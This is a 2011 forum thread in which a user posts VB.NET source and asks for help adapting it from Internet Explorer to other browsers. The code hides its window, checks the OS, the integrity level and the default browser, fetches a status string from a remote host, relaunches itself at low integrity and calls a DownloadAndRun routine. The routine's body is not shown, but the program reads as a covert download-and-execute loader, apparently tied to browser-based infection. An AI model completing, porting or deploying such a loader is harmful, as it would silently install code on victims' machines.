Need help explaining code :/

1llusion · 01-23-2011, 05:04 PM

Hi!!!

Well, I got this source, but the app is a bit too advanced for me. I'd like to ask, if you could give me some site, or under what keyword should I search to understand it Biggrin

As you may see, the code is made only for Internet Explorer, I'd like to edit it also for other browsers Smile

and right now, I'm lost in the code Biggrin

Thanks

Code:
Me.Hide()
        Dim Level As Integer = GetProcessIntegrityLevel()
        Dim OS As String = Environment.OSVersion.Version.Major.ToString()
        Dim wcone As New WebClient
        Dim Status As String = wcone.DownloadString(StatusOne)
        Dim Browser As String = My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice", "Progid", Nothing)

        If OS >= 6 Then 'Windows Vista, 7

            If Browser = "FirefoxHTML" Then 'Firefox
                'If the default browser is firefox

        ElseIf Browser = "IE.AssocFile.HTM" Then 'IE
            'If the default browser is IE

            If Level = 8192 Then
                CreateLowIntegrityProcess(Application.ExecutablePath)
                DownloadAndRun()
                Me.Close()
            End If

            If Level = 4096 Then
                UpdateStatus(Status)
                Me.Close()
            End If

        Else
            'Other browsers, tries the IE method, usually won't work.

            If Level = 8192 Then
                CreateLowIntegrityProcess(Application.ExecutablePath)
                DownloadAndRun()
                Me.Close()
            End If

            If Level = 4096 Then
                UpdateStatus(Status)
                Me.Close()
            End If
        End If

        ElseIf OS <= 5 Then
            'Windows XP, 2000 etc code.
            DownloadAndRun()
            UpdateStatus(Status)
            Me.Close()
            End
        End If
    End Sub

CreateLowIntegrityProcess Sub:

Code:
Friend Sub CreateLowIntegrityProcess(ByVal commandLine As String)
        Dim hToken As SafeTokenHandle = Nothing
        Dim hNewToken As SafeTokenHandle = Nothing
        Dim pIntegritySid As IntPtr = IntPtr.Zero
        Dim cbTokenInfo As Integer = 0
        Dim pTokenInfo As IntPtr = IntPtr.Zero
        Dim si As New STARTUPINFO
        Dim pi As New PROCESS_INFORMATION

        Try
            ' Open the primary access token of the process.
            If (Not NativeMethod.OpenProcessToken(Process.GetCurrentProcess.Handle, _
                NativeMethod.TOKEN_DUPLICATE Or NativeMethod.TOKEN_ADJUST_DEFAULT Or _
                NativeMethod.TOKEN_QUERY Or NativeMethod.TOKEN_ASSIGN_PRIMARY, _
                hToken)) Then
                Throw New Win32Exception
            End If

            ' Duplicate the primary token of the current process.
            If (Not NativeMethod.DuplicateTokenEx(hToken, 0, IntPtr.Zero, _
                SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, _
                TOKEN_TYPE.TokenPrimary, hNewToken)) Then
                Throw New Win32Exception
            End If

            ' Create the low integrity SID.
            If Not NativeMethod.AllocateAndInitializeSid( _
                NativeMethod.SECURITY_MANDATORY_LABEL_AUTHORITY, 1, _
                NativeMethod.SECURITY_MANDATORY_LOW_RID, _
                0, 0, 0, 0, 0, 0, 0, pIntegritySid) Then
                Throw New Win32Exception
            End If

            Dim tml As TOKEN_MANDATORY_LABEL
            tml.Label.Attributes = NativeMethod.SE_GROUP_INTEGRITY
            tml.Label.Sid = pIntegritySid

            ' Marshal the TOKEN_MANDATORY_LABEL struct to the native memory.
            cbTokenInfo = Marshal.SizeOf(tml)
            pTokenInfo = Marshal.AllocHGlobal(cbTokenInfo)
            Marshal.StructureToPtr(tml, pTokenInfo, False)

            ' Set the integrity level in the access token to low.
            If (Not NativeMethod.SetTokenInformation(hNewToken, _
                TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pTokenInfo, _
                (cbTokenInfo + NativeMethod.GetLengthSid(pIntegritySid)))) Then
                Throw New Win32Exception
            End If

            ' Create the new process at the Low integrity level.
            si.cb = Marshal.SizeOf(si)
            If (Not NativeMethod.CreateProcessAsUser(hNewToken, Nothing, commandLine, _
                IntPtr.Zero, IntPtr.Zero, False, 0, IntPtr.Zero, Nothing, (si), pi)) Then
                Throw New Win32Exception
            End If

        Finally
            ' Centralized cleanup for all allocated resources. 
            If (Not hToken Is Nothing) Then
                hToken.Close()
                hToken = Nothing
            End If
            If (Not hNewToken Is Nothing) Then
                hNewToken.Close()
                hNewToken = Nothing
            End If
            If (pIntegritySid <> IntPtr.Zero) Then
                NativeMethod.FreeSid(pIntegritySid)
                pIntegritySid = IntPtr.Zero
            End If
            If (pTokenInfo <> IntPtr.Zero) Then
                Marshal.FreeHGlobal(pTokenInfo)
                pTokenInfo = IntPtr.Zero
                cbTokenInfo = 0
            End If
            If (pi.hProcess <> IntPtr.Zero) Then
                NativeMethod.CloseHandle(pi.hProcess)
                pi.hProcess = IntPtr.Zero
            End If
            If (pi.hThread <> IntPtr.Zero) Then
                NativeMethod.CloseHandle(pi.hThread)
                pi.hThread = IntPtr.Zero
            End If
        End Try
    End Sub

GetProcessIntegrityLevel Sub:

Code:
Dim IL As Integer = -1
        Dim hToken As SafeTokenHandle = Nothing
        Dim cbTokenIL As Integer = 0
        Dim pTokenIL As IntPtr = IntPtr.Zero

        Try
            ' Open the access token of the current process with TOKEN_QUERY.
            If (Not NativeMethod.OpenProcessToken(Process.GetCurrentProcess.Handle, _
                NativeMethod.TOKEN_QUERY, hToken)) Then
                Throw New Win32Exception
            End If

            ' Then we must query the size of the integrity level information 
            ' associated with the token. Note that we expect GetTokenInformation to 
            ' return False with the ERROR_INSUFFICIENT_BUFFER error code because we 
            ' have given it a null buffer. On exit cbTokenIL will tell the size of 
            ' the group information.
            If (Not NativeMethod.GetTokenInformation(hToken, _
                TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, _
                IntPtr.Zero, 0, cbTokenIL)) Then
                Dim err As Integer = Marshal.GetLastWin32Error
                If (err <> NativeMethod.ERROR_INSUFFICIENT_BUFFER) Then
                    ' When the process is run on operating systems prior to Windows 
                    ' Vista, GetTokenInformation returns false with the 
                    ' ERROR_INVALID_PARAMETER error code because TokenIntegrityLevel 
                    ' is not supported on those OS's.
                    Throw New Win32Exception(err)
                End If
            End If

            ' Now we allocate a buffer for the integrity level information.
            pTokenIL = Marshal.AllocHGlobal(cbTokenIL)
            If (pTokenIL = IntPtr.Zero) Then
                Throw New Win32Exception
            End If

            ' Now we ask for the integrity level information again. This may fail if 
            ' an administrator has added this account to an additional group between 
            ' our first call to GetTokenInformation and this one.
            If (Not NativeMethod.GetTokenInformation(hToken, _
                TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, _
                pTokenIL, cbTokenIL, cbTokenIL)) Then
                Throw New Win32Exception
            End If

            ' Marshal the TOKEN_MANDATORY_LABEL struct from native to .NET object.
            Dim tokenIL As TOKEN_MANDATORY_LABEL = Marshal.PtrToStructure( _
            pTokenIL, GetType(TOKEN_MANDATORY_LABEL))

            ' Integrity Level SIDs are in the form of S-1-16-0xXXXX. (e.g. 
            ' S-1-16-0x1000 stands for low integrity level SID). There is one and 
            ' only one subauthority.
            Dim pIL As IntPtr = NativeMethod.GetSidSubAuthority(tokenIL.Label.Sid, 0)
            IL = Marshal.ReadInt32(pIL)

        Finally
            ' Centralized cleanup for all allocated resources. 
            If (Not hToken Is Nothing) Then
                hToken.Close()
                hToken = Nothing
            End If
            If (pTokenIL <> IntPtr.Zero) Then
                Marshal.FreeHGlobal(pTokenIL)
                pTokenIL = IntPtr.Zero
                cbTokenIL = 0
            End If
        End Try

        Return IL
    End Function

I wanna say BIIIIG thanks for any answer Smile

Coder-san · 01-23-2011, 05:12 PM

The code is simple to understand, read it little by little, you just need two more Subroutines: UpdateStatus and DownloadAndRun

1llusion · 01-23-2011, 05:14 PM

ok, Ill do some ritual to get my body into harmony and I'll go for it Smile

Thanks

Need help explaining code :/
Author Message